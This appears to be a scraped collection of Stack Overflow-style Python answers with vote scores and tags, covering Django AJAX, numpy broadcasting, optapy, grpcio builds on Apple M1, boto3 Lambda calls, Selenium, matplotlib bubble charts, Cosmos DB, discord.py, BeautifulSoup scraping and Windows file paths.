[ "Here, we need two functions to call out data from AJAX:\nFirst, we need to create JsonResponse views function in the views.py file.\n# views.py\n\nfrom django.http import JsonResponse\n\ndef get_some_data(request):\n try:\n if request.method == \"POST\":\n get_some_data = [1, 2, 3, 4, 5] # You can run the query instead\n return JsonResponse({\"data\": get_some_data})\n else:\n return JsonResponse({\"error\": \"Invalid Method\"})\n except Exception as ep:\n return JsonResponse({\"error\": str(ep)})\n\nCreate a path for this function in urls.py file.\n# urls.py\npath(\"get-some-data/\", views.get_some_data, name=\"get-some-data\")\n\nNow, we create some AJAX call for getting data without reloading page ...\n$.ajax({\n type: \"POST\",\n url: \"{% url 'get-some-data' %}\",\n data: {\n id: 2, // You can send any type of data ...\n csrfmiddlewaretoken: $(\"input[name=csrfmiddlewaretoken]\").val(), //This is important as we are making POST request, so CSRF verification is important ... \n },\n success: function(data) {\n console.log(data); // Here you can manipulate some D.O.M. for rendering some data ... \n }\n})\n\nThat's it. You are good to go now.\n" ]

[ 0 ]

[]

[]

[ "ajax", "django", "python" ]

[ "You're close, you can do it with broadcasting:\nout = matrix[None, :, :] - matrix.T[:, :, None]\n\nHere .T is the same as np.transpose, and using None as an index introduces a new dummy dimension of size 1.\n" ]

[ 4 ]

[]

[]

[ "array_broadcasting", "numpy", "python" ]

[ "Custom shadow variables ARE supported in optapy: https://www.optapy.org/docs/latest/shadow-variable/shadow-variable.html#customVariableListener ; It uses the old style of @CustomShadowVariable (@custom_shadow_variable in Python) instead of @ShadowVariable. However, ListVariableListener is not currently supported. You can use the old chained model of the domain and constraints, which should be fully supported in optapy. Support for the new @ShadowVariable and ListVariableListener will be added in a future version of optapy.\nHere how the variable listener would look in Python:\nfrom optapy import variable_listener\n\n@variable_listener\nclass StartTimeUpdatingVariableListener:\n\n def beforeEntityAdded(self, scoreDirector, task):\n pass\n \n def afterEntityAdded(self, scoreDirector, task):\n self.updateStartTime(scoreDirector, task)\n \n def beforeVariableChanged(self, scoreDirector, task):\n pass\n\n def afterVariableChanged(self, scoreDirector, task):\n self.updateStartTime(scoreDirector, task)\n\n def beforeEntityRemoved(self, scoreDirector, task):\n pass\n\n def afterEntityRemoved(self, scoreDirector, task):\n pass\n\n def updateStartTime(self, scoreDirector, sourceTask):\n previous = sourceTask.getPreviousTaskOrEmployee()\n shadowTask = sourceTask\n previousEndTime = None if previous is None else previous.getEndTime()\n startTime = self.calculateStartTime(shadowTask, previousEndTime)\n while shadowTask is not None and shadowTask.getStartTime() != startTime:\n scoreDirector.beforeVariableChanged(shadowTask, \"startTime\")\n shadowTask.setStartTime(startTime)\n scoreDirector.afterVariableChanged(shadowTask, \"startTime\")\n previousEndTime = shadowTask.getEndTime()\n shadowTask = shadowTask.getNextTask()\n startTime = self.calculateStartTime(shadowTask, previousEndTime)\n\n def calculateStartTime(self, task, previousEndTime):\n if task is None or previousEndTime is None:\n return None\n return max(task.getReadyTime(), previousEndTime)\n\nand here how it can be used in a @custom_shadow_variable:\nfrom optapy import planning_entity, planning_variable, custom_shadow_variable, planning_variable_reference\n\n@planning_entity\nclass Task:\n # ...\n @custom_shadow_variable(variable_listener_class = StartTimeUpdatingVariableListener,\n sources=[planning_variable_reference('previousTaskOrEmployee')])\n def get_start_time(self):\n return self.start_time\n \n def set_start_time(self, start_time):\n self.start_time = start_time\n\n" ]

[ 1 ]

[]

[]

[ "optaplanner", "optapy", "python" ]

[ "Perhaps you could consider utilizing str.join on a comprehension that uses list slicing to reverse a string:\ndef reverse_words(text: str) -> str:\n return ' '.join(word[::-1] for word in text.split(' '))\n\n", "The reverse() method for lists reverses elements in-place and doesn't return an iterable, meaning it will return a none object if the method runs successfully. You can modify your code like this:\ndef reverse_words(text):\n #makes 'apple TEST' into ['apple', 'TEST']\n a = text.split(' ')\n d = []\n for i in a:\n #takes 'apple' and turns it into ['a','p','p','l','e']\n b = i.split()\n #takes ['a','p','p','l','e'] and turns it into ['e','l','p','p','a']\n b.reverse()\n #takes ['e','l','p','p','a'] and turns it into 'elppa'\n #appends 'elppa' onto d\n d.append(''.join(b))\n #whole thing repeats for 'TEST' as well\n #joins d together by a space and should print out 'elppa TSET'\n print(' '.join(d))\n\nreverse_words('apple TEST')\n\nYou can also use the reversed() method if you want the reversed list in a new variable like so:\ndef reverse_words(text):\n #makes 'apple TEST' into ['apple', 'TEST']\n a = text.split(' ')\n d = []\n for i in a:\n #takes 'apple' and turns it into ['a','p','p','l','e']\n b = i.split()\n #takes ['a','p','p','l','e'] and turns it into ['e','l','p','p','a']\n c = reversed(b)\n #takes ['e','l','p','p','a'] and turns it into 'elppa'\n #appends 'elppa' onto d\n d.append(''.join(c))\n #whole thing repeats for 'TEST' as well\n #joins d together by a space and should print out 'elppa TSET'\n print(' '.join(d))\n\nreverse_words('apple TEST')\n\n" ]

[ 0, 0 ]

[ "d.append('').join(d)\n\nIf this is what you intended try this, otherwise you're gonna need to call a new variable and call .join() on that\n" ]

[ -1 ]

[ "python" ]

[ "What helped me was:\nGRPC_PYTHON_BUILD_SYSTEM_OPENSSL=1 GRPC_PYTHON_BUILD_SYSTEM_ZLIB=1 python -m pip install tensorflow-macos\n\n", "I had to\n\nBuild boringssl manually (github answer)\nUse the flags while installing grpcio as explained in the previous answer\nUpgrade numpy (TypeError StackOverflow)\n\nInstall\n# The following are required to locally build boringssl\nbrew install go\nbrew install wget\nbrew install cmake\nmkdir boringssl\ncd boringssl\nwget https://boringssl.googlesource.com/boringssl/+archive/master.tar.gz\ngunzip -c master.tar.gz | tar xopf -\nmkdir build\ncd build\ncmake ..\nmake\n\n# Install `grpcio` with the right \nYCFLAGS=\"-I /opt/homebrew/opt/openssl/include\" LDFLAGS=\"-L /opt/homebrew/opt/openssl/lib\" GRPC_PYTHON_BUILD_SYSTEM_OPENSSL=1 GRPC_PYTHON_BUILD_SYSTEM_ZLIB=1 pip install 'grpcio'\npip install tensorflow-macos\n\n# If you see an error like below then upgrade numpy\n#\n# TypeError: Unable to convert function return value to a Python type! The signature was () -> handle\npip install numpy --upgrade\n\nTest\npython -c \"import tensorflow as tf; print(tf.reduce_sum(tf.random.normal([1000, 1000])))\"\n\n" ]

[ 3, 0 ]

[]

[]

[ "apple_m1", "grpcio", "python", "tensorflow" ]

[ "I think the problem you have is in the definition of your lambda:\nlambdaName = os.getenv('TF_VAR_lambdaName')\n\nTry following:\nLAMBDA_NAME = os.environ.get('YOUR_LAMBDA_NAME') // make sure you put the exact name of your lambda in ''\n\nThan use it in your code:\nresponse = client.invoke(\n FunctionName=LAMBDA_NAME,\n InvocationType='RequestResponse',\n Payload=json.dumps(params).encode()\n)\n\n", "The community, thanks for your support here. I finally figured it out with the help of my colleague.\nSo the first issue:\n\nlambdaName = os.getenv('TF_VAR_lambdaName')\n\nThis was odd that it wasn't working since i had already exported the environment variables using\n\nexport TF_VAR_lambdaName=\"myfunctionname\"\n\nI ended up using a print statement to check the value, and it came out with none. Googling it a bit, found a post where someone suggested rerunning the export to set the value again and that did the trick. I did take a bit from Olgas suggestion and modified the export as follows:\n\nLAMBDA_NAME = os.getenv('TF_VAR_lambdaName')\n\njust making the variable all caps to avoid any issues.\nSecond Issue:\nThis one turned out to be an easy fix. The short in sweet of it is I didn't need\n\njson.dumps(data)\n\nThe declaration of data was already being passed in a format that params needed. What worked was just setting params equal to data and lambda was able to handle it. Final working code below:\n#!/usr/bin/env python\nimport boto3\nimport json\nimport pprint\nimport os \n\nLAMBDA_NAME = os.getenv('TF_VAR_lambdaName')\n value1=\"value1-value\"\n value2=\"value2-value\"\n value3=\"value3-value\"\n \n data = {\"value1\": value1, \"value2\": value2 \"value3\": value3}\n \n params = data\n client = boto3.client('lambda')\n response = client.invoke(\n FunctionName=LAMBDA_NAME,\n InvocationType='RequestResponse',\n Payload=json.dumps(params).encode(),\n )\n pprint.pp(response['Payload'].read())\n\n" ]

[ 0, 0 ]

[]

[]

[ "amazon_web_services", "aws_lambda", "python" ]

[ "You need to get the href attribute of the button. If your code gets the right button you can just use\nbutton.get_attribute(\"href\")\n\nOf course if you get redirected using Javascript this is a different story, but since you didn't specify I will assume my answer works\n", "You can use swith_of function to manage multiple windows(tabs) in same test case session\ndriver.switch_to.window(name_or_handler)\n\nAn extra information: If you want to get attribute value from element, you can use get_attribute() function\nlink_value = driver.find_element(By, selector).get_attribute(\"href\")\n\nP.S: example code written in Python. If you use another language, you can use equivalent Selenium functions for them.\n" ]

[ 0, 0 ]

[]

[]

[ "href", "python", "screen_scraping", "selenium_chromedriver" ]

[ "You could do something along these lines:\ndef func():\n driver = Chrome()\n driver.get('https://google.com')\n driver.quit()\n\nThis should close each window, after the function concludes.\nSee Selenium documentation for more info.\n", "Assuming you are able to modify function func, then pass to it the Chrome driver as an argument instead of it creating the driver itself.\n\nThe main process starts a child process, run_selenium that starts func in a daemon thread. It then waits for up to 1 second for func to complete.\nIf the selenium thread (func) is still alive, a call to stop is made on the underlying driver service. run_selenium then terminates and a long with its daemon func thread.\n\nfrom threading import Thread\nfrom multiprocessing import Process\n\nfrom selenium.webdriver import Chrome\n\n\ndef func(driver):\n import time\n\n # Modified to run forever:\n while True:\n driver.get('https://google.com')\n time.sleep(5)\n driver.get('https://bing.com')\n time.sleep(5)\n\ndef run_selenium():\n driver = Chrome()\n # Selenium will terminate when we do:\n t = Thread(target=func, args=(driver,), daemon=True)\n t.start()\n t.join(1)\n\n # Did selenium actually finish?\n if t.is_alive():\n driver.service.stop()\n\n\nif __name__ == '__main__':\n p = Process(target=run_selenium)\n p.start()\n p.join()\n\n print('Selenium terminated; I can now go on to do other things...')\n ...\n\n" ]

[ 0, 0 ]

[]

[]

[ "multiprocessing", "python", "selenium" ]

[ "I hope the Treemap chart works for your use case in here.\nplotly implementation\nsquarify implementation\n", "Plotly is your friend.\nConsidering the example dataframe:\nd = {'Party': ['Democrat', 'Democrat', 'Republican', 'Republican'], 'Keyword': ['Donkey', 'Left', 'Elephant', 'Right'], 'x': [1, 2, 3, 4], 'y': [1, 1, 3, 4], 'counts': [100, 342, 43, 666]}\ndf = pd.DataFrame(data=d)\n\nImport plotly.express:\nimport plotly.express as px\n\nAnd then use the scatter plot to create your Bubble chart:\nfig = px.scatter(df, x=\"x\", y=\"y\",\n size='counts', color='Party', text='Keyword', size_max=60)\nfig.show()\n\n\nNote: this answer assumes that you know where to plot your bubbles in the first place (the x and y coordinates in the dataframe).\n", "Matplotlib offers some premade more niche charts like the one you describe.\nYou can take a look at the documentation with all these charts Here\nSo following the documentation, we then define the BubbleChart class as follows:\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass BubbleChart:\n def __init__(self, area, bubble_spacing=0):\n \"\"\"\n Setup for bubble collapse.\n\n Parameters\n ----------\n area : array-like\n Area of the bubbles.\n bubble_spacing : float, default: 0\n Minimal spacing between bubbles after collapsing.\n\n Notes\n -----\n If \"area\" is sorted, the results might look weird.\n \"\"\"\n area = np.asarray(area)\n r = np.sqrt(area / np.pi)\n\n self.bubble_spacing = bubble_spacing\n self.bubbles = np.ones((len(area), 4))\n self.bubbles[:, 2] = r\n self.bubbles[:, 3] = area\n self.maxstep = 2 * self.bubbles[:, 2].max() + self.bubble_spacing\n self.step_dist = self.maxstep / 2\n\n # calculate initial grid layout for bubbles\n length = np.ceil(np.sqrt(len(self.bubbles)))\n grid = np.arange(length) * self.maxstep\n gx, gy = np.meshgrid(grid, grid)\n self.bubbles[:, 0] = gx.flatten()[:len(self.bubbles)]\n self.bubbles[:, 1] = gy.flatten()[:len(self.bubbles)]\n\n self.com = self.center_of_mass()\n\n def center_of_mass(self):\n return np.average(\n self.bubbles[:, :2], axis=0, weights=self.bubbles[:, 3]\n )\n\n def center_distance(self, bubble, bubbles):\n return np.hypot(bubble[0] - bubbles[:, 0],\n bubble[1] - bubbles[:, 1])\n\n def outline_distance(self, bubble, bubbles):\n center_distance = self.center_distance(bubble, bubbles)\n return center_distance - bubble[2] - \\\n bubbles[:, 2] - self.bubble_spacing\n\n def check_collisions(self, bubble, bubbles):\n distance = self.outline_distance(bubble, bubbles)\n return len(distance[distance < 0])\n\n def collides_with(self, bubble, bubbles):\n distance = self.outline_distance(bubble, bubbles)\n idx_min = np.argmin(distance)\n return idx_min if type(idx_min) == np.ndarray else [idx_min]\n\n def collapse(self, n_iterations=50):\n \"\"\"\n Move bubbles to the center of mass.\n\n Parameters\n ----------\n n_iterations : int, default: 50\n Number of moves to perform.\n \"\"\"\n for _i in range(n_iterations):\n moves = 0\n for i in range(len(self.bubbles)):\n rest_bub = np.delete(self.bubbles, i, 0)\n # try to move directly towards the center of mass\n # direction vector from bubble to the center of mass\n dir_vec = self.com - self.bubbles[i, :2]\n\n # shorten direction vector to have length of 1\n dir_vec = dir_vec / np.sqrt(dir_vec.dot(dir_vec))\n\n # calculate new bubble position\n new_point = self.bubbles[i, :2] + dir_vec * self.step_dist\n new_bubble = np.append(new_point, self.bubbles[i, 2:4])\n\n # check whether new bubble collides with other bubbles\n if not self.check_collisions(new_bubble, rest_bub):\n self.bubbles[i, :] = new_bubble\n self.com = self.center_of_mass()\n moves += 1\n else:\n # try to move around a bubble that you collide with\n # find colliding bubble\n for colliding in self.collides_with(new_bubble, rest_bub):\n # calculate direction vector\n dir_vec = rest_bub[colliding, :2] - self.bubbles[i, :2]\n dir_vec = dir_vec / np.sqrt(dir_vec.dot(dir_vec))\n # calculate orthogonal vector\n orth = np.array([dir_vec[1], -dir_vec[0]])\n # test which direction to go\n new_point1 = (self.bubbles[i, :2] + orth *\n self.step_dist)\n new_point2 = (self.bubbles[i, :2] - orth *\n self.step_dist)\n dist1 = self.center_distance(\n self.com, np.array([new_point1]))\n dist2 = self.center_distance(\n self.com, np.array([new_point2]))\n new_point = new_point1 if dist1 < dist2 else new_point2\n new_bubble = np.append(new_point, self.bubbles[i, 2:4])\n if not self.check_collisions(new_bubble, rest_bub):\n self.bubbles[i, :] = new_bubble\n self.com = self.center_of_mass()\n\n if moves / len(self.bubbles) < 0.1:\n self.step_dist = self.step_dist / 2\n\n def plot(self, ax, labels, colors):\n \"\"\"\n Draw the bubble plot.\n\n Parameters\n ----------\n ax : matplotlib.axes.Axes\n labels : list\n Labels of the bubbles.\n colors : list\n Colors of the bubbles.\n \"\"\"\n for i in range(len(self.bubbles)):\n circ = plt.Circle(\n self.bubbles[i, :2], self.bubbles[i, 2], color=colors[i])\n ax.add_patch(circ)\n ax.text(*self.bubbles[i, :2], labels[i],\n horizontalalignment='center', verticalalignment='center')\n\n\nThis class handles the chart making logic with the following signature: BubbleChart(area,bubble_spacing, **kwargs)\nExample code using the Bubble Chart:\nbrowser_market_share = {\n 'browsers': ['firefox', 'chrome', 'safari', 'edge', 'ie', 'opera'],\n 'market_share': [8.61, 69.55, 8.36, 4.12, 2.76, 2.43],\n 'color': ['#5A69AF', '#579E65', '#F9C784', '#FC944A', '#F24C00', '#00B825']\n}\n\nbubble_chart = BubbleChart(area=browser_market_share['market_share'],\n bubble_spacing=0.1)\nbubble_chart.collapse()\n\nfig, ax = plt.subplots(subplot_kw=dict(aspect=\"equal\"))\nbubble_chart.plot(\n ax, browser_market_share['browsers'], browser_market_share['color'])\nax.axis(\"off\")\nax.relim()\nax.autoscale_view()\nax.set_title('Browser market share')\n\nplt.show()\n\nAnd this would be the output chart:\n\nYou can find this code in Matplotlib's documentation. Here\n", "From Matplotlib's packed bubble chart, you could modify the code and change the shape of initial grid layout from a square grid to a rectangle grid.\nclass BubbleChart:\ndef __init__(self, area, bubble_spacing=0.01):\n \"\"\"\n Setup for bubble collapse.\n\n Parameters\n ----------\n area : array-like\n Area of the bubbles.\n bubble_spacing : float, default: 0\n Minimal spacing between bubbles after collapsing.\n\n Notes\n -----\n If \"area\" is sorted, the results might look weird.\n \"\"\"\n area = np.asarray(area)\n r = np.sqrt(area / np.pi)\n\n self.bubble_spacing = bubble_spacing\n self.bubbles = np.ones((len(area), 4))\n self.bubbles[:, 2] = r\n self.bubbles[:, 3] = area\n self.maxstep = 2 * self.bubbles[:, 2].max() + self.bubble_spacing\n self.step_dist = self.maxstep / 2\n\n # change the initial grid to a rectangle grid \n length_x = np.ceil(len(self.bubbles)/2)\n length_y = 2\n grid_x = np.arange(length_x)*self.maxstep\n grid_y = np.arange(length_y)*self.maxstep\n gx, gy = np.meshgrid(grid_x, grid_y)\n self.bubbles[:, 0] = gx.flatten()[:len(self.bubbles)]\n self.bubbles[:, 1] = gy.flatten()[:len(self.bubbles)]\n\n self.com = self.center_of_mass()\n\ndef center_of_mass(self):\n return np.average(\n self.bubbles[:, :2], axis=0, weights=self.bubbles[:, 3]\n )\n\ndef center_distance(self, bubble, bubbles):\n return np.hypot(bubble[0] - bubbles[:, 0],\n bubble[1] - bubbles[:, 1])\n\ndef outline_distance(self, bubble, bubbles):\n center_distance = self.center_distance(bubble, bubbles)\n return center_distance - bubble[2] - \\\n bubbles[:, 2] - self.bubble_spacing\n\ndef check_collisions(self, bubble, bubbles):\n distance = self.outline_distance(bubble, bubbles)\n return len(distance[distance < 0])\n\ndef collides_with(self, bubble, bubbles):\n distance = self.outline_distance(bubble, bubbles)\n idx_min = np.argmin(distance)\n return idx_min if type(idx_min) == np.ndarray else [idx_min]\n\ndef collapse(self, n_iterations=250):\n \"\"\"\n Move bubbles to the center of mass.\n\n Parameters\n ----------\n n_iterations : int, default: 50\n Number of moves to perform.\n \"\"\"\n for _i in range(n_iterations):\n moves = 0\n for i in range(len(self.bubbles)):\n rest_bub = np.delete(self.bubbles, i, 0)\n # try to move directly towards the center of mass\n # direction vector from bubble to the center of mass\n dir_vec = self.com - self.bubbles[i, :2]\n\n # shorten direction vector to have length of 1\n dir_vec = dir_vec / np.sqrt(dir_vec.dot(dir_vec))\n\n # calculate new bubble position\n new_point = self.bubbles[i, :2] + dir_vec * self.step_dist\n new_bubble = np.append(new_point, self.bubbles[i, 2:4])\n\n # check whether new bubble collides with other bubbles\n if not self.check_collisions(new_bubble, rest_bub):\n self.bubbles[i, :] = new_bubble\n self.com = self.center_of_mass()\n moves += 1\n else:\n # try to move around a bubble that you collide with\n # find colliding bubble\n for colliding in self.collides_with(new_bubble, rest_bub):\n # calculate direction vector\n dir_vec = rest_bub[colliding, :2] - self.bubbles[i, :2]\n dir_vec = dir_vec / np.sqrt(dir_vec.dot(dir_vec))\n # calculate orthogonal vector\n orth = np.array([dir_vec[1], -dir_vec[0]])\n # test which direction to go\n new_point1 = (self.bubbles[i, :2] + orth *\n self.step_dist)\n new_point2 = (self.bubbles[i, :2] - orth *\n self.step_dist)\n dist1 = self.center_distance(\n self.com, np.array([new_point1]))\n dist2 = self.center_distance(\n self.com, np.array([new_point2]))\n new_point = new_point1 if dist1 < dist2 else new_point2\n new_bubble = np.append(new_point, self.bubbles[i, 2:4])\n if not self.check_collisions(new_bubble, rest_bub):\n self.bubbles[i, :] = new_bubble\n self.com = self.center_of_mass()\n\n if moves / len(self.bubbles) < 0.1:\n self.step_dist = self.step_dist / 2\n\ndef plot(self, ax, labels, colors):\n \"\"\"\n Draw the bubble plot.\n\n Parameters\n ----------\n ax : matplotlib.axes.Axes\n labels : list\n Labels of the bubbles.\n colors : list\n Colors of the bubbles.\n \"\"\"\n for i in range(len(self.bubbles)):\n circ = plt.Circle(\n self.bubbles[i, :2], self.bubbles[i, 2], color=colors[i])\n ax.add_patch(circ)\n ax.text(*self.bubbles[i, :2], labels[i],\n horizontalalignment='center', verticalalignment='center')\n\nBasically, what I have done here is to change the initial grid (n*n grid) to a rectangle grid (2*n grid)\nlength_x = np.ceil(len(self.bubbles)/2)\nlength_y = 2\ngrid_x = np.arange(length_x)*self.maxstep\ngrid_y = np.arange(length_y)*self.maxstep\ngx, gy = np.meshgrid(grid_x, grid_y)\nself.bubbles[:, 0] = gx.flatten()[:len(self.bubbles)]\nself.bubbles[:, 1] = gy.flatten()[:len(self.bubbles)]\n\nbubble chart in a rectangle format\n" ]

[ 0, 0, 0, 0 ]

[]

[]

[ "bubble_chart", "python", "visualization" ]

[ "Since your first code has no classes or methods, it will run its loop forever as soon as it is imported by python.\nYou can still use that code by putting its import in a new thread. You can use something like:\ndef doit(self, button):\n print('importing')\n threading.Thread(target=self.do_import, daemon=True).start()\n print('imported')\n\ndef do_import(self):\n import python_code\n\nwhere python_code is the name of the python file containing your python code (leave off the .py).\n" ]

[ 0 ]

[]

[]

[ "kivy", "matplotlib_widget", "python", "real_time" ]

[ "@Gaurav Mantri\nBelow is the working code as suggested by you.\nfor uniqueKeys we need to add it inside uniqueKeyPolicy as shown in below code.\nimport azure.cosmos.documents as documents\nfrom azure.cosmos import cosmos_client, http_constants, errors\nimport os\n\nurl = os.environ['COSMOS_DB_END_POINT']\nkey = os.environ['COSMOS_DB_MASTER_KEY']\ndatabase_name = os.environ[\"COSMOS_DB_DATABASE_ID\"]\nclient = cosmos_client.CosmosClient(url, {'masterKey': key})\n\ncontainer_definition = {'id': 'alerts_test',\n 'partitionKey':\n {\n 'paths': ['/user_tenant'],\n 'kind': documents.PartitionKind.Hash\n },\n 'uniqueKeyPolicy': {\n 'uniqueKeys':\n [\n {'paths': ['/alert_id']}\n ]\n }\n }\n\ntry:\n container = client.CreateContainer(\"dbs/\" + database_name, container_definition, {'offerThroughput': 400})\n print(\"New Container Created:\")\n print(container)\nexcept errors.HTTPFailure as e:\n if e.status_code == http_constants.StatusCodes.CONFLICT:\n container = client.ReadContainer(\"dbs/\" + database_name + \"/colls/\" + container_definition['id'])\n print(container)\n else:\n raise e\n\n", "Here is my answer.\nCreate Connection\nimport azure.cosmos.cosmos_client as cosmos_client\n\nCOMOS_MASTER_KEY = \"*****\" \nCOMOS_ENDPOINT = \"https://account.documents.azure.com:port/\" \n\nclient = cosmos_client.CosmosClient(url=COMOS_ENDPOINT, credential={\"masterKey\":COMOS_MASTER_KEY})\n\nCreate Database If Not Exist\ndatabase = client.create_database_if_not_exists({'id': database_name,'offer_throughput':20000})\n\nCreate Collection If it does Not Exist\ndatabase.create_container_if_not_exists(id=\"collection_name\",partition_key=PartitionKey(path=\"/partition_key_path\"),offer_throughput=1000)\n\n" ]

[ 0, 0 ]

[]

[]

[ "azure_cosmosdb", "python" ]

[ "I think you are not getting what you want because you are trying to integrate both at once. From what I can see from your description and code, the easiest solution I could provide you is removing @commands.has_permissions(view_audit_log=True) from your \"what I want to have\" section of code. However, if you don't want to have to add an extra if and else statement sending \"you dont have permissions\" to the user under every command, I would suggest creating an error handler. Using this method, you would be able to use the first block of code you have listed in your question. Here is a very basic sample of the one I use which deals with a user not having permissions to use a certain command. You'll probably need to change it to fit your specific bot but it's a start:\[email protected]\nasync def on_command_error(ctx, error)\n await ctx.send(error) # this sends the error where the user is attempting to use a command. This means if the user is missing the right permissions to use a command, it will send something like \"missing permissions\" to the user. Which I think is what you are looking for\n\n\nThe \"what I want to have\" code is not working because the code you have under it is unreachable unless the user has the audit_log permissions. And if they already have those permissions, the if and else statements checking permissions are not very useful. An error handler is in my opinion good to have and has helped me a ton with my bots. Hope this helps\n" ]

[ 0 ]

[]

[]

[ "discord", "discord.py", "disnake", "python" ]

[ "I found the answer I need to convert it to RGB color image then I convert it to gray scale\nopencvImage = cv2.cvtColor(np.array(image_file), cv2.COLOR_RGB2BGR)\ngray = cv2.cvtColor(opencvImage, cv2.COLOR_BGR2GRAY)\n\n" ]

[ 0 ]

[]

[]

[ "computer_vision", "opencv", "python" ]

[ "with open('Mytext.txt', 'r') as fin:\n with open('Newtext.txt', 'w') as fout:\n for line in fin:\n if line.rstrip()[-1].isalpha()\n fout.write(line)\n\n" ]

[ 1 ]

[]

[]

[ "python", "text" ]

[ "I tinkered around a little bit and I think I got a version that does what you want\nfrom bs4 import BeautifulSoup\nimport requests\n\npage = requests.get(\"https://www.fifaindex.com/players/? \ngender=0&league=1&order=desc\")\nsoup = BeautifulSoup(page.content, \"html.parser\")\nresults = soup.find_all(\"tr\")\n\nfor result in results:\n try:\n result[\"data-playerid\"]\n except KeyError:\n continue\n\n rating = result.find(\"span\", class_=\"badge badge-dark rating r3\").text\n name = result.find(\"a\", class_=\"link-player\")\n info = [rating, name]\n print(info)\n\n", "Get all table lines with a data-playerid attribute will fix it:\n#!/usr/bin/env python3\nfrom bs4 import BeautifulSoup\nimport requests\nurl = \"https://www.fifaindex.com/players/?gender=0&league=1&order=desc\"\nr = requests.get(url)\n\nsoup = BeautifulSoup(r.content, 'html.parser')\n\nresults = soup.find_all('tr', {'data-playerid': True})\n\nfor res in results:\n rating = res.find(\"span\", class_=\"badge badge-dark rating r3\").text\n name = res.find(\"a\", class_=\"link-player\")\n info = [rating, name]\n print(info)\n\n" ]

[ 0, 0 ]

[]

[]

[ "beautifulsoup", "python", "web_scraping" ]

[ "Let's describe what you want to do in words:\n\nYou have a matrix c of shape (size_a, size_b).\nYou have a vector a with one element per row of c\nYou have a vector d with one element per column of c\n\nIn those locations where a[i] <= d[j], you want to set c to zero.\nLet's say we have:\nsize_a = 3\nsize_b = 5\n\na = np.array([23, 55, 37])\nc = np.array([[56, 37, 50, 49, 57],\n [81, 50, 98, 11, 9],\n [52, 47, 23, 64, 20]])\n\nd = np.array([27, 16, 74, 95, 8])\n\nI obtained these using np.random.randint(0, 100, shape) for each of the arrays, but I've hardcoded them here for ease of reproduction and understanding\nYou can compare the vectors a and d at every combination of i and j two ways:\n\nCast them into matrices of the same size:\n\na_cast = np.tile(a, (size_b, 1)).T\n# array([[23, 23, 23, 23, 23],\n# [55, 55, 55, 55, 55],\n# [37, 37, 37, 37, 37]])\n\nd_cast = np.tile(d, (size_a, 1))\n# array([[27, 16, 74, 95, 8],\n# [27, 16, 74, 95, 8],\n# [27, 16, 74, 95, 8]])\n\nmask = a_cast <= d_cast\n# array([[ True, False, True, True, False],\n# [False, False, True, True, False],\n# [False, False, True, True, False]])\n\nc[mask] = 0\n\n\nHave numpy do the broadcasting for you, by making a a (size_a, 1) matrix and d a (1, size_b) matrix. This is done by taking a slice of each vector, with an extra None axis, which creates an extra axis of length 1 (see In numpy, what does selection by [:,None] do?):\n\nmask = a[:, None] <= d[None, :]\n\n# a[:, None] gives:\n# array([[23],\n# [55],\n# [37]])\n\n# d[None, :] gives:\n# array([[27, 16, 74, 95, 8]])\n\n\nc[mask] = 0\n\nBoth these methods result in the same c:\narray([[ 0, 37, 0, 0, 57],\n [81, 50, 0, 0, 9],\n [52, 47, 0, 0, 20]])\n\n" ]

[ 1 ]

[]

[]

[ "numpy", "python" ]

[ "Try:\nimport os\nos.path.join('C:\\Users\\A\\Desktop\\Repo', filename)\n\nThe os module contains many useful methods for directory and path manipulation\n", "Backslash character (\\) has to be escaped in string literals.\n\nThis is wrong: '\\'\nThis is correct: '\\\\' - this is a string containing one backslash\n\nTherefore, this is wrong:\n'C:\\Program Files (x86)\\LibreOffice 5\\program\\soffice.exe'\n\nThere is a trick!\nString literals prefixed by r are meant for easier writing of regular expressions. One of their features is that backslash characters do not have to be escaped. So, this would be OK:\nr'C:\\Program Files (x86)\\LibreOffice 5\\program\\soffice.exe'\n\nHowever, that wont work for a string ending in backslash:\n\nr'\\' - this is a syntax error\n\nSo, this is also wrong:\nr'C:\\Users\\A\\Desktop\\Repo\\'\n\nSo, I would do the following:\nimport os\nimport subprocess\n\n\nsoffice = 'C:\\\\Program Files (x86)\\\\LibreOffice 5\\\\program\\\\soffice.exe'\noutdir = 'C:\\\\Users\\\\A\\\\Desktop\\\\Repo\\\\'\nfull_path = os.path.join(outdir, filename)\n\nsubprocess.call([soffice,\n '--headless',\n '--convert-to', 'pdf',\n '--outdir', outdir,\n full_path])\n\n", "The problem you have is that your raw string is ending with a single backslash. For reason I don't understand, this is not allowed. You can either double up the slash at the end:\nr'C:\\Users\\A\\Desktop\\Repo\\\\'+filename\n\nor use os.path.join(), which is the preferred method:\nos.path.join(r'C:\\Users\\A\\Desktop\\Repo', filename)\n\n", "To build on what zanseb said, use the os.path.join, but also \\ is an escape character, so your string literal can't end with a \\ as it would escape the ending quote.\nimport os\nos.path.join(r'C:\\Users\\A\\Desktop\\Repo', filename)\n\n", "To anyone else stumbling across this question, you can use \\ to concatenate a Path object and str.\nUse path.Path for paths compatible with both Unix and Windows (you can use it the same way as I've used pathlib.PureWindowsPath).\nThe only reason I'm using pathlib.PureWindowsPath is that the question asked specifically about Windows paths.\nFor example:\nimport pathlib\n# PureWindowsPath enforces Windows path style\n# for paths that work on both Unix and Windows use path.Path\nbase_dir = pathlib.PureWindowsPath(r'C:\\Program Files (x86)\\LibreOffice 5\\program')\n# elegant path concatenation\nmyfile = base_dir / \"myfile.odt\"\n\nprint(myfile)\n>>> C:\\Program Files (x86)\\LibreOffice 5\\program\\myfile.odt\n\n", "add library to code :\nfrom pathlib import Path\n\nwhen u want get current path without filename use this method :\nprint(\"Directory Path:\", Path().absolute())\n\nnow you just need to add the file name to it :for example\n mylink = str(Path().absolute())+\"/\"+\"filename.etc\" #str(Path().absolute())+\"/\"+\"hello.txt\"\n\nIf normally addes to the first path \"r\" character\nfor example: r\"c://...\"\nYou do not need to do here\n", "You can also simply add the strings together. Personally I like this more.\nfilename = r\"{}{}{}\".format(dir, foldername, filename)\n\n" ]

[ 25, 7, 2, 2, 1, 0, 0 ]

[]

[]

[ "filepath", "path", "python" ]

[ "If you have strings:\ndf.loc[df['date'].str.endswith('02/10'), 'Type'] = 2\n\nFor datetime type:\ndf.loc[df['date'].dt.strftime('%d/%m').eq('02/10'), 'Type'] = 2\n\nOutput:\n Name date value Type\n0 player 1 2010/02/10 100 2\n1 player 2 2011/16/15 200 3\n2 player 3 2012/02/10 150 2\n3 player 4 2013/11/16 136 5\n4 player 5 2014/02/10 94 2\n\n" ]

[ 0 ]

[]

[]

[ "numpy", "python", "python_3.x" ]

